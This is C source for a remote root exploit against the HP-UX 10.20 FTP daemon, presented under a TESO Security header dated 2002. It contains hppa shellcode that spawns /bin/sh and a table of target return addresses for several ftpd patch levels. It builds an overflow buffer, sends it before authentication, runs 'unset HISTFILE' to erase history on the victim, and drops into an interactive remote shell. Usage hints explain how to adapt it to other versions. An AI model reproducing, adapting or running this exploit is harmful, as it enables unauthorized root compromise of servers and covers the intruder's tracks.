/* 7350hpuke - hppa/hpux ftpd remote root exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2002 * All Rights Reserved * ***************************************************************************** * 2002/02/10 - * * hints * * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote * process dumps core (to /core) * - the exploit is sensitive to what the local ip resolves to. only fqhn up * to 17 characters will allow this exploitation method to work * - for other versions of hpux, you need to find the correct trampoline * address within the shared library quadrant (a disassembler is required) * and the return address on the stack where your code lies. if you get * a segfault when apparently everything else is correct, you are trying * to return to the stack directly, without a proper space id. * * TODO: check with different libc version, maybe a bruteforce of the trampo * address is necessary (most likely). also try to look for fixed (start * of libc?) trampos. */ #define VERSION "0.2.0" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define INIT_CMD "unset HISTFILE;id;uname -a;\n" typedef struct { char * desc; /* distribution */ char * banner; /* ftp banner part */ unsigned char * shellcode; unsigned int shellcode_len; unsigned int cpad; /* padding in the xp cmd */ unsigned long int retaddr1; /* return address to trampo */ unsigned long int retaddr2; /* return address to code */ } tgt_type; unsigned char hppa_nop[] = "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */ /* does work on 1.7.212.5, but not on .1, huh? */ unsigned char hppa_hpux_execve[] = "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a" "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99" "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08" "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41"; #if 0 /* lsd shellcode, some russian hugs to you! :) */ unsigned char hppa_hpux_execve_lsd[] = "\x0b\x5a\x02\x9a" /* xor %r26,%r26,%r26 */ "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */ "\xb4\x16\x70\xfc" /* addi,> 0x7e,%r0,%r22 */ "\xeb\x5f\x1f\xfd" /* bl ,%r26 */ "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */ "\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */ "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */ "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */ "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */ "/bin/shA"; #endif /* i am not that sure that this method of exploitation will work on other * hpux systems. the vulnerability is itself very weird. i see what fails * where and how it goes wrong, but i am unable to see why. there is * boundary checking prior to the overflow, its difficult to reproduce * logically and generally "weird". i like it. */ tgt_type targets[] = { { "DEBUG TARGET", "DEBUG", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x41414141, 0x42424242 }, /* real targets */ { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]", "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07] (mirrors: default)", "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28] (mirrors: default)", "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26] (mirrors: default)", "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22] (mirrors: default)", "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04] (mirrors: default)", "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now] (mirrors: default)", "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */ 0x7b03add0 }, { NULL, NULL, 0, 0, 0, 0 }, }; /* FTP related stuff */ char * dest = "127.0.0.1"; /* can be changed with -d */ char * ftp_banner = NULL; int verbose = 0; /* FTP prototypes */ void ftp_escape (unsigned char *buf, unsigned long int buflen); void ftp_recv_until (int sock, char *buff, int len, char *begin); int ftp_login (char *host); /* main prototypes */ void usage (char *progname); void exploit (int fd, tgt_type *tgt); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); void tgt_list (void); tgt_type * tgt_frombanner (unsigned char *banner); /* imported from network.c */ #define NET_CONNTIMEOUT 60 #define NET_READTIMEOUT 20 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); void net_write (int fd, const char *str, ...); int net_rtimeout (int fd, int sec); int net_rlinet (int fd, char *buf, int bufsize, int sec); int debugmode = 0; void usage (char *progname) { fprintf (stderr, "usage: %s [-h] [-v] [-D] [-l ] [-t ] [-d host]\n", progname); fprintf (stderr, "-h\tthis help\n" "-v\tbe verbose (default: off, twice for greater effect)\n" "-D\tDEBUG mode (waits for keypresses)\n" "-l len\tresolved hostname length (of this host)\n" "-t num\tchoose target (0 for list, try -v or -v -v)\n" "-d dest\tIP address or fqhn to connect to " "(default: 127.0.0.1)\n" "\n"); exit (EXIT_FAILURE); } int resolv_len = -1; unsigned char * shellcode = NULL; unsigned long int shellcode_len = 0; int main (int argc, char *argv[]) { char c; char * progname; /* = argv[0] */ int fd; tgt_type * tgt = NULL; int tgt_num = -1; unsigned char rcvbuf[2048]; fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root " "(version "VERSION")\n" "team teso.\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "hvDl:t:d:")) != EOF) { switch (c) { case 'h': usage (progname); break; case 'D': debugmode = 1; break; case 'v': verbose += 1; break; case 'l': if (sscanf (optarg, "%u", &resolv_len) != 1) usage (progname); break; case 't': if (sscanf (optarg, "%u", &tgt_num) != 1) usage (progname); break; case 'd': dest = optarg; break; default: usage (progname); break; } } if (tgt_num == 0 || tgt_num >= (sizeof (targets) / sizeof (tgt_type))) { if (tgt_num != 0) printf ("WARNING: target out of list. list:\n\n"); tgt_list (); exit (EXIT_SUCCESS); } if (resolv_len == -1) { fprintf (stderr, "resolv length parameter required, doh!\n"); exit (EXIT_FAILURE); } if (resolv_len > 17) { fprintf (stderr, "resolv length too large, this exploitation " "method only supports\nlength below or equal to 17 " "chars\n"); exit (EXIT_FAILURE); } if (tgt == NULL) tgt = &targets[tgt_num - 1]; printf ("# trying to connect to %s ...", dest); fflush (stdout); fd = ftp_login (dest); if (fd <= 0) { fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); exit (EXIT_FAILURE); } printf (" connected.\n"); if (debugmode) { printf ("DEBUG: press enter\n"); getchar (); } printf ("# banner: %s", (ftp_banner == NULL) ? "???" : ftp_banner); if (shellcode == NULL) { shellcode = tgt->shellcode; shellcode_len = tgt->shellcode_len; } if (verbose >= 2) { printf ("using %lu byte shellcode:\n", shellcode_len); hexdump ("shellcode", shellcode, shellcode_len); } printf ("\n### TARGET: %s\n\n", tgt->desc); /* real stuff starts from here */ printf ("# 1. sending preparation commands\n"); net_write (fd, "SITE 73507350735073507350735073507350" "735073507350735073507350\n"); ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 "); exploit (fd, tgt); printf ("# trying to spawn shell\n"); printf ("##################################################" "##########################\n"); write (fd, INIT_CMD, strlen (INIT_CMD)); shell (fd); exit (EXIT_SUCCESS); } void exploit (int fd, tgt_type *tgt) { int n, padnop, pad; unsigned char * xpw; unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */ memset (xpbuf, '\0', sizeof (xpbuf)); pad = 17 - resolv_len; for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad) *xpw++ = "7350"[n++ % 4]; /* now the second return address (at %sp - 0x18) for thunking */ *xpw++ = (tgt->retaddr2 & 0xff000000) >> 24; *xpw++ = (tgt->retaddr2 & 0x00ff0000) >> 16; *xpw++ = (tgt->retaddr2 & 0x0000ff00) >> 8; *xpw++ = (tgt->retaddr2 & 0x000000ff); /* directly after it, *tada*, the first return address to the space * redirection stub */ *xpw++ = (tgt->retaddr1 & 0xff000000) >> 24; *xpw++ = (tgt->retaddr1 & 0x00ff0000) >> 16; *xpw++ = (tgt->retaddr1 & 0x0000ff00) >> 8; *xpw++ = (tgt->retaddr1 & 0x000000ff); /* XXX: might be different on other binaries */ strcat (xpbuf, "A"); /* padding */ if (verbose) printf ("n = strlen (xpbuf) = %d\n", strlen (xpbuf)); /* nopspace + shellcode */ padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf); padnop &= ~0x3; /* pad down to 4 byte boundary */ for (n = 0, xpw = xpbuf + strlen (xpbuf) ; n < padnop ; ++n) { *xpw++ = hppa_nop[n % 4]; } if (verbose) printf ("n = %d, n %% 4 = %d\n", n, n % 4); memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len); xpw += strlen (xpw); printf ("strlen (xpbuf) = %d\n", strlen (xpbuf)); *xpw++ = '\n'; ftp_escape (xpbuf, sizeof (xpbuf)); net_write (fd, "%s", xpbuf); return; } /* tgt_list * * give target list */ void tgt_list (void) { int tgt_num; printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); if (verbose) printf (" : %s\n", targets[tgt_num].banner); if (verbose >= 2) printf (" : retaddr1: 0x%08lx " "retaddr2: 0x%08lx\n", targets[tgt_num].retaddr1, targets[tgt_num].retaddr2); } printf (" '\n"); return; } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("connection closed by foreign host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /*** FTP functions */ /* FTP is TELNET is SHIT. */ void ftp_escape (unsigned char *buf, unsigned long int buflen) { unsigned char * obuf = buf; for ( ; *buf != '\0' ; ++buf) { if (*buf == 0xff && (((buf - obuf) + strlen (buf) + 1) < buflen)) { memmove (buf + 1, buf, strlen (buf) + 1); buf += 1; } } } void ftp_recv_until (int sock, char *buff, int len, char *begin) { char dbuff[2048]; if (buff == NULL) { buff = dbuff; len = sizeof (dbuff); } do { memset (buff, '\x00', len); if (net_rlinet (sock, buff, len - 1, 20) <= 0) return; } while (memcmp (buff, begin, strlen (begin)) != 0); return; } int ftp_login (char *host) { int ftpsock; char resp[512]; ftpsock = net_connect (NULL, host, 21, 30); if (ftpsock <= 0) return (0); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline pre-login stuff (rfc violation !) */ if (memcmp (resp, "220-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); if (memcmp (resp, "220 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } ftp_banner = strdup (resp); /* do not login really, this is 100% pre-auth */ return (ftpsock); flerr: if (ftpsock > 0) close (ftpsock); return (0); } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } void net_write (int fd, const char *str, ...) { char tmp[1025]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); #ifdef DEBUG printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); #endif send(fd, tmp, i, 0); return; } int net_rlinet (int fd, char *buf, int bufsize, int sec) { int n; unsigned long int rb = 0; struct timeval tv_start, tv_cur; memset(buf, '\0', bufsize); (void) gettimeofday(&tv_start, NULL); do { (void) gettimeofday(&tv_cur, NULL); if (sec > 0) { if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { return (-1); } } n = net_rtimeout(fd, NET_READTIMEOUT); if (n <= 0) { return (-1); } n = read(fd, buf, 1); if (n <= 0) { return (n); } rb++; if (*buf == '\n') return (rb); buf++; if (rb >= bufsize) return (-2); /* buffer full */ } while (1); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level * watermark, which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } }